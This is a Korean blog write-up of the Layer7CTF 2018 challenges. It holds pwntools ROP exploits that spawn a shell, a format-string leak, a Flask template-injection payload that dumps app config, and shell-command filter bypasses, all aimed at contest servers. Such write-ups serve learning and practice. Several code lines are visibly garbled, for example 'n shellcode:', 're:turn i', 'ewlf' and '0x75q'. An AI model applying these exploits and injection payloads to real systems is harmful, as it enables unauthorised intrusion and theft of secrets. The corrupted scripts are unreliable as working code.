github twitter facebook email
Layer7CTF
Sep 21, 2018
5 minutes read

목차

  • PWN
    • talmoru_party~! ( 100pt )
    • Life game ( 150pt )
    • infinite_cat_theaorem v2 ( 300pt )
  • REV
    • ezbt ( 200pt )
    • toss ( 300pt )
    • nyanterpreter ( 350pt )
  • WEB
    • url routing ( 150pt )
    • meow ( 160pt )
    • msg ( 300pt )
  • MISC
    • Sanity Check ( 1pt )
    • Shell Program ( 200pt )
    • Shell Program Revenge ( 275pt )

PWN

talmoru_party~!

basic한 rop이다.

from pwn import * 

p = remote('layer7.kr', 12003)#process('./talmo_party')
elf = ELF('./talmo_party')
libc = ELF('layer7.so.6')#elf.libc

pppr = 0x08048849
pr = 0x08048425
pay =  "A"*0x40 + p32(elf.bss()+0x10)
pay += p32(elf.plt['puts']) + p32(pr) + p32(elf.got['puts'])
pay += p32(0x80486E0)

p.sendline('3')
p.recvuntil("plz!\n")
p.sendline(pay)
p.recvuntil("Good bye~~!\n")

leak = u32(p.recv(4))
libc_base = leak - libc.symbols['puts']

log.info("Libcbase : 0%x" % libc_base)

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search('/bin/sh'))

pay2 = "A"*0x40 + "B"*4
pay2 += p32(system) + "C"*4 + p32(binsh)
p.sendline(pay2)
p.interactive()

Flag : LAYER7{1_r3411y_H4t3t41m0^______^}

Life game

Integer overflow와 format string bug가 있다.

format string bug 같은 경우는 넣는 길이가 6byte임으로, %s 를 이용해서 스택에 있는 플래그를 읽어주자.

from pwn import *

p = remote('layer7.kr',12000)#process('./life_game')
p.sendline('5')
p.recvuntil("go back")
p.sendline('3')
p.recvuntil("?\n")
p.sendline('-2147383647')
p.sendline('3')
p.recvuntil("?\n")
p.sendline('-123123')
p.sendline('5')
p.recvuntil('escape')
p.sendline('31337')
p.recvuntil("Flag is ")
leak = int(p.recv(10),16)
log.info('0x%x' % leak)
pay = p32(leak)+'%p'
pause()

context.log_level='debug'
p.sendline('%42$s')
p.interactive()

Flag : LAYER7{L1f3..1s..P0k3m0n_or_D1g1m0n..wh4t?}

infinite_cat_theaorem v2

mmap크기가 0x20000정도니까 2byte opcode정도는 random seed를 찾아 맞추어 줄 수 있다.

이를 call [rsi]로 맞춰주고, 넣는 이름 첫부분에 ppppr을 넣어주게 되면 rip가 그 다음부분에 맞춰짐으로 rop가 가능하다.

libc leak 하고 system해서 따면 된다.

from pwn import *
import ctypes

def get(seed):
    libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    shellcode = ["\xff\x16"]
    
    for i in range(0,0x20000):
        rand = []
        libc.srand(i+seed)
        for j in range(0,4):
            rand.append(libc.rand()&0xff)
    n shellcode:
            f=1
            for k in range(0,len(j)):
                if ord(j[k]) != rand[k]:
                    f=0
                    break
            if f:
                log.success("SEED : %d" % (seed+i))
                re:turn i 

    log.info("Fail")
    pause()

p = remote('bincat.kr', 12342)#_theorem2')
elf =ELF('./cat_theorem2')
libc = elf.libc
p.recvuntil("cat?\n")


poprdi = 0x0000000000400db3
pay = p64(0x0000000000400dab)
pay += p64(poprdi)+p64(elf.got['puts'])+p64(ewlf.plt['puts'])
pay += p64(0x400C08)

p.sendline(pay)

p.recvuntil("seed: ")
seed = int(p.recvline()[:-1])
print "SEED : %d" % seed
a1 = get(seed)
pause()
p.sendline(str(a1))

context.log_level='debug'

p.recvuntil("chur only\n")
p.recv(3)

leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = (leak - libc.symbols['puts'])
log.info("Libcbase : 0x%x" % libc_base)

pay2 = p64(0x0000000000400dab)
binsh = next(libc.search('/bin/sh')) + libc_base
pay2 += p64(poprdi) + p64(binsh) + p64(libc_base + libc.symbols['system'])
p.sendline(pay2)
p.recvuntil("seed: ")
seed = int(p.recvline()[:-1])
print "SEED : %d" % seed
a1 = get(seed)
pause()
p.sendline(str(a1))

p.interactive()

Flag : LAYER7{your cat is very smart :) zz}

REV

ezbt

간단한 비트연산을 한다. 대부분 손실이 없지만 ( 0x1122 ^ ( 0x1122 >> 1 ) ) 같은 경우는 손실이 조금 생긴다.

이를 대충 맞춰주고 brute force 때리면 된다.

import string
table=[0x0DF,0x0D1,0x0CF,0x0D4,0x46,0x3A,0x65,0x55,0x3D,0x7D,0x0C8,0x67,0x0BC,0x68,0x0C8,0x68,0x6F,0x3F,0x0C8,0x64,0x3F,0x30,0x48,0x41,0x72,0x0BF,0x75,0x0C8,0x67,0x0F4,0x68,0x48,0x0B9,0x0EE,0x7C,0x0C8,0x7F,0x5C,0x74,0x5C,0x3C,0x5C,0x74,0x3C,0x5C,0x74,0x3C,0x77,0x48,0x0FE,0x0E8,0x67,0x0C8,0x49,0x48,0x48,0x48,0x48,0x48,0x48,0x48,0x0C8,0x0C9,0x62]

flag = ''

for i in range(0,len(table)):
    for j in string.printable:#string.ascii_letters + "{}0123456789_-":
        k = ord(j)
        tmp = k ^ k >> 1
        tmp2 = tmp ^ ((tmp) >> 1)
        if tmp2 == table[i]:
            flag += j
            print flag
        elif tmp2 + 0x80 == table[i]:
            flag += j
            print flag
print flag

Flag : LAYER7{D1d_y0u_us3_z3?_Th3n_you_4re_fOoO0Oo0Oo0lguy^________^}

Toss

thread를 사용해서 약간 race condition비스무리하게 일어난다. 하지만 순서가 일정하게 되어있음으로 감안해서 decode해주면 된다.

xor = 0xda
table = [0x96, 0x57, 0x26, 0x9d, 0x66, 0x2f, 0x62, 0xbb,0x54,0x8c,0xf5,0x31,0xb0,0x84,0x8,0x75q,0x5c,0x29,0xfe,0x73,0xd2,0xca,0x4d,0x4e,0x12,0x95,0x88,0x92,0x53]

t = [190, 190, 221, 239, 190, 221, 239, 190, 221, 221, 221, 239, 190, 239, 221, 239, 221, 239, 221, 190, 239, 190, 190, 239, 190, 221, 239, 190, 221, 190, 190, 239, 221, 221, 239, 190, 190
, 239, 221, 190, 239, 190, 221, 190, 239, 190, 239, 239]

flag = ''

for i in range(0,len(table)):
    for j in range(i, len(table)):
        table[j] ^= xor
    flag += chr(table[i])
    print flag
    print xor
    xor *= t[i]
    xor += i
    xor = xor & 0xff
print flag

Flag : LAYER7{WelcOm_t0_T0$$_Wlord!}

nyanterpreter

interpreter를 구현해 놓았다. 명령어 실행과정을 좀 보고싶어서 python으로 루틴을 그대로 베껴 해석기를 만들었다.

#!/usr/bin/python
import sys
f = open(sys.argv[1], 'r')
s = f.read().strip()
data = [s[i:i+4] for i in range(0, len(s), 4)]

table = [0]*1000
ptr = 0
instruction = {
    'NYAN' : 'chr++',
    'nYan' : 'chr--',
    'NYan' : 'ptr++',
    'NYAn' : 'ptr--',
    'nyan' : 'putchr',
    'Nyan' : 'getchr',
    'nya?' : 'start',
    'nya!' : 'end'
}

opcode = [0]*0x2000
loop = [0]*0x1000
loopidx = 0

# fetch
for i in range(0,len(data)):
    if instruction[data[i]] == 'chr++':
        opcode[i*2] = 3
        opcode[i*2+1] = 0
    elif instruction[data[i]] == 'chr--':
        opcode[i*2] = 4
        opcode[i*2+1] = 0
    elif instruction[data[i]] == 'ptr++':
        opcode[i*2] = 1
        opcode[i*2+1] = 0
    elif instruction[data[i]] == 'ptr--':
        opcode[i*2] = 2
        opcode[i*2+1] = 0
    elif instruction[data[i]] == 'putchr':
        opcode[i*2] = 5
        opcode[i*2+1] = 0
    elif instruction[data[i]] == 'getchr':
        opcode[i*2] = 6
        opcode[i*2+1] = 0
    elif instruction[data[i]] == 'start':
        opcode[i*2] = 7
        loop[loopidx] = i*2
        loopidx += 1
    elif instruction[data[i]] == 'end':
        opcode[i*2] = 8
        opcode[i*2+1] = loop[loopidx-1]
        opcode[loop[loopidx-1] + 1] = i*2
        loopidx -= 1

# execute
i=0
res = []
while True:
    if(i >= len(opcode)):
        break
    if ptr > 0xfe:
        break
    ins = opcode[i]
    if ins == 0:
        break
    elif ins == 1:
        ptr += 1
    elif ins == 2:
        ptr -= 1
    elif ins == 3:
        table[ptr] += 1
    elif ins == 4:
        table[ptr] -= 1
    elif ins == 5:
        print "[+] " + chr(table[ptr])
        res.append(chr(table[ptr]))
    elif ins == 6:
        print '-'*50
        print table[0:100]
        print '-'*50
        print '>>>'
        sys.stdout.flush()
        table[ptr] = ord(raw_input("")[0])
    elif ins == 7:
        if (table[ptr] == 0):
            i = opcode[i+1]
    elif ins == 8:
        if (table[ptr] != 0):
            i = opcode[i+1]
    i+=2

print res

이를 이용해서 좀 보다보면

nya

테이블처럼 보이는거랑 맞은 횟수를 카운트하는게 눈에 띄인다.

테이블 꺼내서 대충 맞추어 보니까 (table[i] - i)를 하는거 같아서 이거가지고 전체적으로 뽑았는데 맞지가 않았다.

LAYER{Nt\iZiT\dds~FsdnyaN~~}

이게 나왔는데 웬지 플래그 처음이 Nyan같아서 해보니까 맞더라. 그래서 보니까 테이블이 중간중간 초기화 되는거 같았다.

0,1,2,3,4,5,6,2,3,4 대충 여기까지 테이블을 알아냈고 0,1,2,3,4,5,6,2,3,4,5,6,7,8로 테이블 게싱해보니까

LAYER{Nyan_nYa

가 나왔다. 여기서 게싱해서 보니까 LAYER{Nyan_nYan_nyAn_nyaN}이 되었다.

table = [0x4c,0x42,0x5b,0x48,0x56,0x80,0x54,0x7b,0x64,0x72,0x64,0x74,0x60,0x69,0x72,0x64,0x74,0x80,0x49,0x77,0x69,0x74,0x80,0x69,0x57,0x88,0x89,0x89]
key = [0,1,2,3,4,5,6,2,3,4,5,6,7,8,4,5,6,7,8,9,10,6,7,8,9,10,11,12]
res = []
for i in range(0,len(table)):
	res.append(chr(table[i] - key[i]))
print ''.join(res)

코드를 짜자면 이쯤 되겠다

Flag : LAYER{Nyan_nYan_nyAn_nyaN}

WEB

url routing

parse_url 트릭이용해서 (‘///~~~‘)하면 파싱 못하는거 쓰면 된다.

http://dm1536803965686.fun25.co.kr:23902///5099d288498b4e17/index.php?flag

Flag : LAYER7{4f3a6c9f4b9c36ed3c39b8d3e14aa4fb}

meow

환경변수가 비어있으면 그거 무시하고 명령어 붙는거 이용하면 된다.

http://dm1536803965686.fun25.co.kr:23903/74cdf2ead84d1743/?file=fl$21ag.php

Flag : LAYER7{070e260558a03c1494817459ebbc060e}

msg

url_for.__globals__으로 current_app을 가져올수 있다. 근데 이거랑 config문자열 필터링 되어있는거 같아서 dict랑 string “ 으로 우회하면 된다.

url_for.__globals__['curr''ent_a''app']['con''fig']

http://dm1536803965686.fun25.co.kr:23908/?msg={{url_for.globals[%27curr%27%27ent_a%27%27pp%27][%27con%27%27fig%27]}}

Flag : LAYER7{e276a535acdda862e3f76e5deec26373}

MISC

Sanity Check

Flag : LAYER7{1_h0pE_Y0u_eNj0y_p14yiNg!}

Shell program

$($SHELL)

하면 쉘 따인다. cat flagflagflagflagffflag.txt 1>&0로 읽으면 덴다.

Flag : LAYER7{Wha4AAa4t_d03$_th1$_ch4r4ct3rr3tuuuuurn?$$$}

Shell program revenge

web-meow랑 같은 풀이다.

$(s$({44})h) 으로 따자

Flag: LAYER7{w0W…H0w_t0_th1s_Fuck11111111ng_fi1t3r1ng_by-p4ss!!!!!!!!!???}


Back to posts


comments powered by Disqus